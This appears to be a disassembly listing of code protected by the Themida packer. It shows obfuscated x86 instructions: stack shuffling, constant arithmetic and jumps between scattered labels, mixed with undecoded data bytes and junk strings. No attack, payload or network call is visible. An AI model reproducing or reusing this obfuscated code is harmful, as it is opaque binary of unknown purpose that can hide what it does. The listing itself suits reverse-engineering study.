; ---------------------------------------------------------------------------
		db 0B9h
		dd 1, 0FF9E87E9h, 0F7E1D1FFh, 0D09AE9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5547D6:				; CODE XREF: Themida_:0055AADAj
		xor	ah, 7Eh
		or	ch, ah
		pop	eax
		sub	ch, 7
		add	bl, ch
		pop	ecx
		movzx	eax, al
		jmp	loc_552382
; ---------------------------------------------------------------------------
		dw 483h
		dd 34FF0424h, 3EE95924h, 89FFFFF7h, 49E9243Ch, 81FFFFADh
		dd 0D3571FE7h, 0BDC78168h, 8137D92Fh, 4E33FDEFh, 5FFA0929h
		dd 260CBF57h, 9DE9720Ch, 0BBFFFFC8h, 2A916B86h,	916B82BAh
		dd 0E9DA312Ah, 5F86h
; ---------------------------------------------------------------------------


loc_554830:				; CODE XREF: Themida_:0055D9C4j
		add	ebx, 4
		jmp	loc_553F9D
; ---------------------------------------------------------------------------
a_s		db '_é º',0
		dd 5AF32800h, 4EC81h, 0C890000h, 2899B524h, 240C8BEBh
		dd 1A47E9h, 0BEBA5200h,	815BFC27h, 0D1722DEDh, 0DBEE937h
		dd 0DAF70000h, 0F1E9D2F7h
		db 0CAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554873:				; CODE XREF: Themida_:0055172Ej
		xchg	ecx, [esp]
		pop	esp


loc_554877:				; CODE XREF: Themida_:00551416j
					; Themida_:00556147j
		push	4631h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		push	ebp
		push	edi
		push	530A4756h
		pop	edi
		add	edi, 0B53BE859h
		mov	ebp, edi
		pop	edi
		add	ebp, 0FFFFFFFFh
		or	ebp, 409B2374h
		add	ebp, 0B720D006h
		sub	edi, 583F0C82h
		jmp	loc_551D9C
; ---------------------------------------------------------------------------


loc_5548CB:				; CODE XREF: Themida_:0055193Cj
		add	edi, 6D4B6196h
		add	edi, ebx
		jmp	loc_54F25F
; ---------------------------------------------------------------------------
		dd 875BDA01h, 248B2414h, 0E9F76624h, 93C6866h, 24148966h
		dd 0E99C5066h, 0FFFF94D1h, 0E9F8015Fh, 9297h, 92C68159h
		dd 29641014h, 7582E9EEh, 0C2810000h, 60C92BDAh,	0D7A8E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_554916:				; CODE XREF: Themida_:005502E6j
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	ebx, edi
		push	dword ptr [ebx]
		jmp	loc_5619E8
; ---------------------------------------------------------------------------
		db 83h
		dd 3C8704C7h, 55575C24h, 0D90898BDh, 0A6F1E928h, 0D701FFFFh
		dd 18E6E95Ah, 2C890000h, 46824h, 2C8B0000h, 4C48124h, 81000000h
		dd 7C5FAFEEh, 4DC68146h, 1431B78h, 4DEE81EEh, 57431B78h
		dd 7C5FAFBFh, 5FFE0146h, 9C61E9h, 4EC8100h, 89000000h
		dd 4BA2414h, 29000000h,	0C719E9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55499A:				; CODE XREF: Themida_:0055D858j
		sub	esp, 4
		mov	[esp], eax
		push	edi
		mov	edi, 145F4325h
		jmp	loc_55CA8D
; ---------------------------------------------------------------------------


loc_5549AB:				; CODE XREF: Themida_:0055AC8Aj
		push	small 8C1h
		jmp	loc_552F72
; ---------------------------------------------------------------------------


loc_5549B4:				; CODE XREF: Themida_:00556BAAj
		pop	ecx
		or	ebx, ecx
		jmp	loc_561C52
; ---------------------------------------------------------------------------
aQssd		db 'Qéád',0
		align 2
		dw 5B5Dh
		dd 69852D5Ah, 0E801723Dh, 3D698505h, 4875D72h, 24248B24h
		dd 53D18851h, 0E9CC8850h, 8550h
; ---------------------------------------------------------------------------


loc_5549E4:				; CODE XREF: Themida_:00556EE6j
		add	eax, 4
		push	6Ch
		jmp	loc_54DEC7
; ---------------------------------------------------------------------------
		db 0BDh, 83h, 1Ch
		dd 0EA892B29h, 5AD3895Dh, 2414F753h, 0F3814B5Bh, 0D15C9694h
		dd 1C8BDA89h, 4C48324h,	46BFE281h, 46E9224Fh, 10000D6h
		dd 0B8BB53FAh, 534EEF28h, 5B2414F7h, 1F86CB81h,	0EB814669h
		dd 0BFAAB5B7h, 0FFB4FDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554A39:				; CODE XREF: Themida_:00552CBAj
		sub	edi, ebp
		add	edi, 29DF2889h
		sub	edi, 62627BCEh
		jmp	loc_55E095
; ---------------------------------------------------------------------------
		dd 5F2434FFh, 81E78957h, 4C7h, 4C78100h, 68000000h, 7625h
		dd 5A72E9h, 4C48300h, 37BE6656h, 7B58E963h, 0EB810000h
		dd 5F5D3FF5h, 815BD901h, 4C1h, 0FB53E900h, 0B850FFFFh
		dd 2BD57309h, 0A0FAE32Dh, 58C101D6h, 0DA59E955h, 4870000h
		dd 0AAE95C24h
		db 3Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554AA7:				; CODE XREF: Themida_:0055FA90j
		inc	ecx
		push	ebp
		push	0A4CFDCF2h
		pop	ebp
		add	ecx, ebp
		pop	ebp
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebx, eax
		push	4B19h
		mov	[esp], ecx
		push	0BA5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_557DA2
; ---------------------------------------------------------------------------
		dw 112Dh
		dd 2937FD3Ah, 11BE56D8h, 137FD3Ah, 0C0FBE9F0h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554AF6:				; CODE XREF: Themida_:0054DEF6j
		add	esi, ebx
		jmp	loc_561F70
; ---------------------------------------------------------------------------


loc_554AFD:				; CODE XREF: Themida_:00556594j
		xor	dh, 28h
		not	dh
		add	dh, 6
		push	edx
		mov	dh, 77h
		sub	bl, dh
		pop	edx
		sub	bl, dh
		add	bl, 77h
		pop	edx
		sub	bl, al
		push	small 17A5h
		mov	[esp], cx
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		sub	eax, 4
		jmp	loc_556657
; ---------------------------------------------------------------------------
		db 59h
		dd 4C481h, 0BA520000h, 2F18513Fh, 0CA81DAF7h, 110F0433h
		dd 8106EAC1h, 47BEB9F2h, 5AD70103h, 0B85FE9h, 2434FF00h
		dd 2C326858h, 0C890000h, 417DE924h, 0C6010000h,	0FFD777E9h
		dd 1BF181FFh, 102FB98h,	240C8BCEh, 0FFD4FAE9h, 0B7B353FFh
		dd 8904EC83h, 0FBB62414h, 0C01AEE80h, 0CEFE06EEh, 0CE80C6FEh
		dd 0EBEE80A2h, 9111E9h
		db 0
; ---------------------------------------------------------------------------


loc_554B9D:				; CODE XREF: Themida_:0055E3D4j
		sub	esi, 5928310Fh
		add	esi, edi
		add	esi, 5928310Fh
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_55EFD3
; ---------------------------------------------------------------------------


loc_554BBC:				; CODE XREF: Themida_:00555C85j
		shl	edx, 3
		push	ebx
		mov	ebx, 86181C76h
		sub	edx, ebx
		pop	ebx
		mov	edi, edx
		mov	edx, [esp]
		jmp	loc_5570E6
; ---------------------------------------------------------------------------


loc_554BD2:				; CODE XREF: Themida_:00551048j
		shr	edx, 1
		jmp	loc_55DE93
; ---------------------------------------------------------------------------


loc_554BD9:				; CODE XREF: Themida_:005516FDj
		shl	edx, 1
		push	5A67h
		mov	[esp], eax
		jmp	loc_55986B
; ---------------------------------------------------------------------------
		dd 4C38359h, 77E1E9h
		db 0
; ---------------------------------------------------------------------------


loc_554BF1:				; CODE XREF: Themida_:00555974j
		pop	ecx
		jmp	loc_556CDC
; ---------------------------------------------------------------------------


loc_554BF7:				; CODE XREF: Themida_:00555948j
		xchg	ecx, [esp]
		pop	esp
		sub	eax, 1B7D24C5h
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_55DA1E
; ---------------------------------------------------------------------------
		dw 0C8FEh
		dd 0BDE9A104h, 8FFFFF99h, 7CE92404h
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554C1F:				; CODE XREF: Themida_:0055A0D5j
		pop	ecx
		and	esi, ecx
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		mov	ecx, esp
		jmp	loc_552476
; ---------------------------------------------------------------------------


loc_554C2E:				; CODE XREF: Themida_:0055401Fj
		push	ebx
		mov	ebx, 7C10399Eh
		or	ebx, 28016BBDh
		jmp	loc_557E42
; ---------------------------------------------------------------------------


loc_554C3F:				; CODE XREF: Themida_:00552D51j
		xor	ebp, ebx
		pop	ebx
		xor	eax, ebp
		pop	ebp
		push	2D85h
		mov	[esp], ebx
		push	5948652Eh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5578B3
; ---------------------------------------------------------------------------
		db 5, 4, 0
		dd 0E8830000h, 24043304h, 33240431h, 5AE92404h,	29000011h
		dd 0D0015BDAh, 0FF2434FFh, 835A2434h, 0C48104C4h, 4, 31240433h
		dd 61E92404h, 290000A8h, 835D58C1h, 35E904E9h, 8700000Bh
		dd 505C240Ch, 1E57BDB8h, 58C3013Fh, 8174E9h, 243C8900h
		dd 0BB535F5Dh, 502C841Dh, 1C8BDF89h, 4C48324h, 2BC2C781h
		dd 21E97C88h, 59000076h, 0BC46E952h, 62DFFFFh, 89217329h
		dd 2434FFC2h, 4C48358h,	0F40FF05h, 2DD00170h, 700F40FFh
		dd 0F5E9575Ah, 0F0000A2h, 0E28952C8h, 0CD685557h, 5D2EF231h
		dd 246068h, 241C8900h, 26B4B951h, 0D9F72CAAh, 51E98141h
		dd 89B24A0Ah, 0A3E959CBh, 52000016h, 0C281E289h, 4, 4C281h
		dd 14870000h, 34FF5C24h, 0A9FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554D3E:				; CODE XREF: Themida_:0054F654j
		add	esp, 4
		push	ecx
		mov	ecx, 416B00B5h
		add	ebx, ecx
		pop	ecx
		add	ebx, 1D885131h
		add	ebx, eax
		push	ebp
		jmp	loc_56183A
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFB394h, 5C2DED81h, 875B0F67h, 0E95C242Ch
		dd 9583h
; ---------------------------------------------------------------------------


loc_554D70:				; CODE XREF: Themida_:0055B624j
		or	ecx, 34097E7Eh
		jmp	loc_55B947
; ---------------------------------------------------------------------------


loc_554D7B:				; CODE XREF: Themida_:00561590j
		shl	edx, 6
		add	edx, 0FFFFFFFFh
		push	ecx
		mov	ecx, 0D94A234Fh
		jmp	loc_55CF82
; ---------------------------------------------------------------------------


loc_554D8F:				; CODE XREF: Themida_:00557A13j
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55A4CA
; ---------------------------------------------------------------------------


loc_554D9C:				; CODE XREF: Themida_:005622F4j
		push	esp
		pop	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_55AF94
; ---------------------------------------------------------------------------
		db 81h,	0C2h, 9Ch
		dd 8955A8B4h, 0F6815AD6h, 465F1FECh, 15EF029h, 434CE9F0h
		dd 0C1800000h, 1C8B66F4h, 2C48324h, 0B22C2C2Ch,	0CB8E9h
		db 0
; ---------------------------------------------------------------------------


loc_554DD5:				; CODE XREF: Themida_:00552F40j
		mov	ecx, 14BA108Ah
		and	ecx, 1CE4521Eh
		push	eax
		mov	eax, 5C556ECh
		xor	ecx, eax
		pop	eax
		and	ebx, ecx
		pop	ecx
		jmp	loc_558CAC
; ---------------------------------------------------------------------------


loc_554DF1:				; CODE XREF: Themida_:0055643Fj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5531DD
; ---------------------------------------------------------------------------
		dd 9648EF81h, 0FB892CDFh, 5BDE015Fh, 0A88AE9h, 241C8900h
		dd 1227BA52h, 25BB1990h, 31199012h, 0DD015AD3h,	0E9241C8Bh
		dd 0FFFFCE84h
; ---------------------------------------------------------------------------


loc_554E2C:				; CODE XREF: Themida_:00554F8Dj
		push	23652C25h
		jmp	loc_5532D4
; ---------------------------------------------------------------------------


loc_554E36:				; CODE XREF: Themida_:0055E739j
		mov	edi, 4
		sub	ebp, edi
		jmp	loc_561FFE
; ---------------------------------------------------------------------------
		dw 0E3B8h
		dd 0F7714012h, 0ED1935D8h, 0C5298EBFh, 265FE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554E56:				; CODE XREF: Themida_:005545FEj
		push	eax
		jmp	loc_55077A
; ---------------------------------------------------------------------------


loc_554E5C:				; CODE XREF: Themida_:0055FDBDj
		mov	ebx, [esp]
		push	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		sub	edx, 4
		push	edx
		jmp	loc_550499
; ---------------------------------------------------------------------------
		dd 1CE768h, 241C8900h, 0C9BF5750h, 812F9459h, 624553F7h
		dd 0C4C78147h, 81405D26h, 0F8627BE7h, 81DFF759h, 0E05036C7h
		dd 0D8F7810Ch, 8903900Dh, 43E95FF8h
		db 35h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_554EB3:				; CODE XREF: Themida_:005545A9j
		mov	[esp], edi
		jmp	loc_558213
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF8F05h, 0C002E6C0h, 0EC8306EEh, 5D37E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554ECE:				; CODE XREF: Themida_:005527B7j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	edx
		jmp	loc_55C1BD
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 7E66E9h, 0E9DA2900h,	9C07h, 0EF81EF29h, 30D95DC7h, 0E9FE295Dh
		dd 0FFFFA8C0h, 9C2424D3h, 0FF906FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554F15:				; CODE XREF: Themida_:00559275j
		push	ebx
		mov	bh, dh
		mov	dh, cl
		mov	cl, bh
		mov	ebx, [esp]
		add	esp, 4
		and	cl, 9Fh
		push	bx
		mov	bl, 4Dh
		add	cl, 0Eh
		add	cl, 2Bh
		add	cl, bl
		sub	cl, 2Bh
		jmp	loc_55A08C
; ---------------------------------------------------------------------------


loc_554F3C:				; CODE XREF: Themida_:00550992j
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_5607FA
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E953240Ch, 4463h, 0CF2A10BBh, 5BDA0137h, 0FFFAA6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554F75:				; CODE XREF: Themida_:0055931Aj
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_557C76
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	esi
		mov	esi, esp
		push	edi
		push	edx
		push	ebx
		jmp	loc_554E2C
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 2C38124h, 33000000h,	1C31241Ch, 23F7E924h, 0E3C10000h
		dd 8EEB8102h, 810D4420h, 3006D4E3h, 35F3816Ah, 0F732874Eh
		dd 71EB81DBh, 31ED0ED1h, 34AEE9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_554FCA:				; CODE XREF: Themida_:0055162Aj
		xor	esi, 2C2B691Ch
		mov	ecx, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		push	esi
		jmp	loc_5572FB
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 4BB5240Ch, 34E368h, 24048900h, 36F5E9h
		db 0
; ---------------------------------------------------------------------------


loc_554FF1:				; CODE XREF: Themida_:0055AFF4j
		mov	[esp], eax
		mov	eax, edi
		mov	ebx, eax
		pop	eax
		pop	edi
		add	ebx, 7D1F7F32h
		jmp	loc_55E28D
; ---------------------------------------------------------------------------
		db 0ADh, 83h, 7Fh
		dd 840F0020h, 0FFFFA480h, 5BA6B951h, 0C1814C99h, 2061BD59h
		dd 0E5E9CE29h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555023:				; CODE XREF: Themida_:0054F036j
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		xor	edx, 714A4A70h
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]


loc_55504D:				; CODE XREF: Themida_:loc_555F4Fj
					; Themida_:0055BEA0j
		push	dword ptr [edi+24h]
		push	ebx
		jmp	loc_551CB6
; ---------------------------------------------------------------------------
		dw 158h
		dd 0F7DDE9FAh, 487FFFFh, 8BDBE924h, 0C3810000h,	5033515Bh
		dd 8324348Bh, 0BF5704C4h, 2C6518EDh, 1E74C381h,	0FB295AE5h
		dd 1E74EB81h, 0FF5F5AE5h, 8D37E930h, 0BA52FFFFh, 35261E1Ah
		dd 0FFF8B1E9h, 0EBEB81FFh, 0E977CC3Eh, 0FFFF92A9h, 6426C181h
		dd 0E98138A3h, 15BA55FDh, 4BA525Bh, 29000000h, 0C335AD1h
		dd 38BCE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5550C2:				; CODE XREF: Themida_:0055EF98j
		add	esp, 4
		sub	ecx, 17333774h
		sub	ecx, ebx
		add	ecx, 17333774h
		pop	ebx
		and	ecx, 5F072C18h
		shl	ecx, 5
		push	335Eh
		mov	[esp], edi
		mov	edi, 5EF1D31h
		and	ecx, edi
		pop	edi
		add	ecx, 0FFBB0004h
		add	edi, ecx
		jmp	loc_555C3B
; ---------------------------------------------------------------------------
		dw 0D388h
		dd 8850595Ah, 0E9C188D8h, 8814h, 815AD731h, 9F5D28C6h
		dd 46EE814Dh, 0E90FA272h, 0FFFFB9BFh, 240C8B66h, 4EC81h
		dd 4890000h, 24A9E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55512E:				; CODE XREF: Themida_:00558C46j
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55CE6E
; ---------------------------------------------------------------------------
		db 83h
		dd 248904ECh, 24048324h, 2434FF04h, 0E92434FFh,	0FFFFC133h
		dd 6624248Bh, 66240C89h, 66C8B60Fh, 5EE99C51h, 5CFFFF8Ch
		dd 0B9240C89h, 67116CF3h, 0E4E95753h, 500000C0h, 9D2CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55517D:				; CODE XREF: Themida_:0055885Ej
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		and	ecx, esi
		mov	esi, [esp]
		jmp	loc_5515F1
; ---------------------------------------------------------------------------
		dw 34FFh
a_pirsqr	db '$_P‰àéŸR',0
		align 2


loc_5551A2:				; CODE XREF: Themida_:005619E3j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5610D6
; ---------------------------------------------------------------------------


loc_5551AD:				; CODE XREF: Themida_:00556156j
		push	4542596Ch
		pop	eax
		push	edi
		push	1
		jmp	loc_55E1A8
; ---------------------------------------------------------------------------
aWvsg		db 'WVég',7,0
		dd 74AF6800h, 0C15803BDh, 0B72505E8h, 4863621Eh, 0FF9410E9h
		dd 5EB0B9FFh, 8E681E75h, 89000075h, 0F6BE2434h,	813F451Eh
		dd 861725C6h, 3EEC111h,	0E33E681h, 0BD554015h, 1, 815DEE29h
		dd 8664AEEEh, 6846E91Eh, 0E1810000h, 0B295913h,	231F181h
		dd 0CE018FF0h, 5EF08959h, 0F704E8C1h, 2E2D40D0h, 81B2A747h
		dd 6E1AEDEBh, 81C30162h, 6E1AEDC3h, 0AED8E962h,	39BB0000h
		dd 0F711C26Fh, 4EBC1DBh, 3335F381h, 0C3817C04h,	1AF15C21h
		dd 14ADE955h, 89570000h, 4C781E7h, 55000000h, 4BDh, 5DEF2900h
		dd 96D6E9h
		db 0
; ---------------------------------------------------------------------------


loc_555271:				; CODE XREF: Themida_:0055C24Dj
		push	esi
		mov	esi, 36891729h
		xor	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_561B87
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF242Ch, 59E90424h, 57000007h, 0F30FB3BFh,	8BFB012Bh
		dd 0C481243Ch, 4, 0EB81F301h, 2BF30FB3h, 5E2434FFh, 53E78957h
		dd 4BBh, 5BDF0100h, 4BD55h, 57E90000h, 8B000014h, 8DE92424h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5552E3:				; CODE XREF: Themida_:00562202j
		not	edx
		xchg	eax, edx
		xor	[esp], eax
		xor	eax, [esp]
		xor	[esp], eax
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5530A1
; ---------------------------------------------------------------------------


loc_5552FD:				; CODE XREF: Themida_:0054FC3Dj
		mov	esi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_550EEE
; ---------------------------------------------------------------------------


loc_555311:				; CODE XREF: Themida_:0054FF69j
		push	cx
		pushf
		jmp	loc_54DDC5
; ---------------------------------------------------------------------------


loc_555319:				; CODE XREF: Themida_:0055586Ej
		mov	ecx, esp
		jmp	loc_5532E9
; ---------------------------------------------------------------------------
aY		db 'µ"(ìY',0
aHT		db 'ÜhÂt',0
		align 4
		dd 0B5240C89h, 3E5C086h, 0FFEBBCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_555339:				; CODE XREF: Themida_:00559884j
		or	esi, 68113251h
		and	esi, 6A3400B0h
		add	esi, 0EB1657B1h
		and	ebx, esi
		jmp	loc_55AFC0
; ---------------------------------------------------------------------------
		dw 0EA20h
		dd 0E9CAFE59h, 59E7h, 242C8759h, 8BD0885Ch, 1E92414h, 5E000065h
		dd 0E958C501h, 8B45h, 240C8B66h, 348B5456h, 2FE3E924h
		dd 0EE050000h, 0D43D328h, 6C7800ACh, 776EE9h, 0F7565E00h
		dd 815E2414h, 7242BCCEh, 0C8B0E933h, 0C89FFFFh,	256DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5553AA:				; CODE XREF: Themida_:0055F7C3j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	3F2Ch
		jmp	loc_5614DB
; ---------------------------------------------------------------------------
		db 5Fh
		dd 4BE56h, 0F1290000h, 240C875Eh, 242C895Ch, 0FFB805E9h
		dd 875E5EFFh, 248B242Ch, 24348924h, 0FF2434FFh,	3C8B2434h
		dd 0C2A6E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5553EE:				; CODE XREF: Themida_:00557E43j
		mov	ebp, 5C11FABAh
		xor	ebx, ebp
		pop	ebp
		mov	ecx, ebx
		mov	ebx, [esp]
		jmp	loc_55BC1A
; ---------------------------------------------------------------------------
		dd 7429C381h, 8F517A9Fh, 0B6E95B03h, 33FFFF89h,	34312434h
		dd 24343324h, 0FF24248Bh, 0E99C240Ch, 0FFFF89A1h, 0C781E789h
		dd 4, 4EF81h, 3C870000h, 2C895C24h, 0E15CE924h,	5D54FFFFh
		dd 4B850h, 0ED810000h, 403D3B23h, 0C581C501h, 403D3B23h
		dd 29FAE958h, 2C8B0000h, 0AEECE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555462:				; CODE XREF: Themida_:00552680j
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_55A5F5
; ---------------------------------------------------------------------------


loc_555470:				; CODE XREF: Themida_:0056019Cj
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	esp
		jmp	loc_553B64
; ---------------------------------------------------------------------------
		db 46h
		dd 788F681h, 0DEF77D6Ah, 91C6814Eh, 818266B1h, 0C16DC0EBh
		dd 1AC38113h, 144F239h,	1AEB81F3h, 8144F239h, 0C16DC0C3h
		dd 1C875E13h, 24248B24h, 55E18951h, 4BDh, 5DE90100h, 4C181h
		dd 0C330000h, 0BF8BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5554CA:				; CODE XREF: Themida_:005585D7j
		mov	eax, 4
		sub	edx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55A7DA
; ---------------------------------------------------------------------------
		dd 50E9D8F7h, 5BFFFFB6h, 0D2E9FA01h, 5900003Ch,	2BF4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5554F1:				; CODE XREF: Themida_:00561C86j
		push	5117h
		mov	[esp], ebp
		mov	ebp, 4
		push	ebp
		add	dword ptr [esp], 3B6C1392h
		pop	ecx
		sub	ecx, 3B6C1392h
		jmp	loc_55BA13
; ---------------------------------------------------------------------------


loc_555512:				; CODE XREF: Themida_:00552DC5j
		mov	ax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55C84C
; ---------------------------------------------------------------------------
		dd 52D8295Bh, 0FFA065E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55552D:				; CODE XREF: Themida_:00550798j
		pop	ecx
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		mov	ecx, 299A0E14h
		xor	ecx, eax
		pop	eax
		shr	ecx, 1
		jmp	loc_55E84D
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 7B44B850h, 0D8F77CB3h, 0E883D8F7h, 7E8C101h,	0C4723548h
		dd 0CBE96A43h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_555563:				; CODE XREF: Themida_:0055291Cj
		mov	[esp], ebp
		push	4
		pop	ebp
		add	eax, 2B224A55h
		jmp	loc_54E408
; ---------------------------------------------------------------------------


loc_555576:				; CODE XREF: Themida_:00558A79j
		pop	ebx
		push	ebp
		jmp	loc_550B08
; ---------------------------------------------------------------------------
		db 68h,	8Eh, 1Ch
		dd 4890000h, 5E08924h, 4, 0FF8F4FE9h, 3BBA68FFh, 3C890000h
		dd 81E78924h, 4C7h, 4C78300h, 5C243C87h, 4E98358h, 91B2E951h
		dd 0C683FFFFh, 24348704h, 8F24248Bh, 248B2404h,	0B4D2E924h
		dd 2158FFFFh, 0B9E95FFAh, 81FFFFC2h, 82063BC3h,	8BDA013Ah
		dd 0A4E9241Ch, 5C00009Ch, 1D50E9h, 4C48300h, 48BE388h
		dd 4C48324h, 4CA86859h,	6BE90000h, 5AFFFF9Bh, 0E958C228h
		dd 0FFFFD546h, 4C481h, 0D0280000h, 24148B66h, 6CA8E9h
		dd 16766800h, 34890000h, 9FB85024h, 0E931106Eh,	0D0A5h
		dd 75E9D501h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55562F:				; CODE XREF: Themida_:00550328j
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_55096C
; ---------------------------------------------------------------------------
		dw 55Fh
aNS5		db 'N%{:é5<',0
		dd 0E9525A00h, 0FFFFC6CDh, 83242C8Bh, 28B04C4h,	0D1C2815Ah
		dd 5021D335h, 3F13E9h
		db 0
; ---------------------------------------------------------------------------


loc_555661:				; CODE XREF: Themida_:00561A88j
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_55FA7D
; ---------------------------------------------------------------------------
		dd 1C24C781h, 0C7815918h, 0CE5BFFF6h, 0E95FF989h, 0C349h
		dd 0A6E9D389h, 68000069h, 12D3h, 0E9241489h, 8F97h
; ---------------------------------------------------------------------------


loc_555694:				; CODE XREF: Themida_:0056262Aj
		and	edi, 26EB1405h
		jmp	loc_560388
; ---------------------------------------------------------------------------
		db 0Ch
		dd 4C0FEB6h, 58C60001h,	305AF730h, 0F2805BFAh, 0C8D8E97Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5556B6:				; CODE XREF: Themida_:0055BAA3j
		jmp	loc_54DDC5
; ---------------------------------------------------------------------------
		db 31h
		dd 0ADE9243Ch, 87FFFFBFh, 895C240Ch, 53662414h,	0FA887DB7h
		dd 0D3005B66h, 0C0B60F5Ah, 818734FFh, 4ECh, 24048900h
		dd 6706D9B8h, 82E95738h, 68FFFFD9h, 6522h, 0B2241489h
		dd 5AD58861h, 5966EF00h, 93E9F830h, 1FFFF87h, 39EB81D3h
		dd 68037351h, 3398h, 21C8E9h, 5DE82900h, 2B388235h, 0E95B5047h
		dd 0A03Ch
; ---------------------------------------------------------------------------


loc_555728:				; CODE XREF: Themida_:005581D2j
		push	41301B43h
		pop	edx
		neg	edx
		sub	edx, 7BDEBFF8h
		mov	esi, edx
		pop	edx
		add	[esp+4], esi
		pop	esi
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_559CA8
; ---------------------------------------------------------------------------


loc_555749:				; CODE XREF: Themida_:0054E2FEj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_552AF2
; ---------------------------------------------------------------------------
		dd 24042966h, 8764E99Ch, 815FFFFFh, 4C6h, 24348700h, 136EE95Ch
		dd 0FF570000h, 5F042474h, 5C24048Fh, 240C8B66h,	0E95F5457h
		dd 0FFFFC139h, 12C5C681h, 0CE017B41h, 12C5EE81h, 0BB537B41h
		dd 50212AFFh, 406FC381h, 0DE011727h, 2434FF5Bh,	9596E9h
		db 0
; ---------------------------------------------------------------------------


loc_5557A9:				; CODE XREF: Themida_:005618B7j
		xor	edx, 66E722A3h
		push	ebx
		jmp	loc_5547A2
; ---------------------------------------------------------------------------


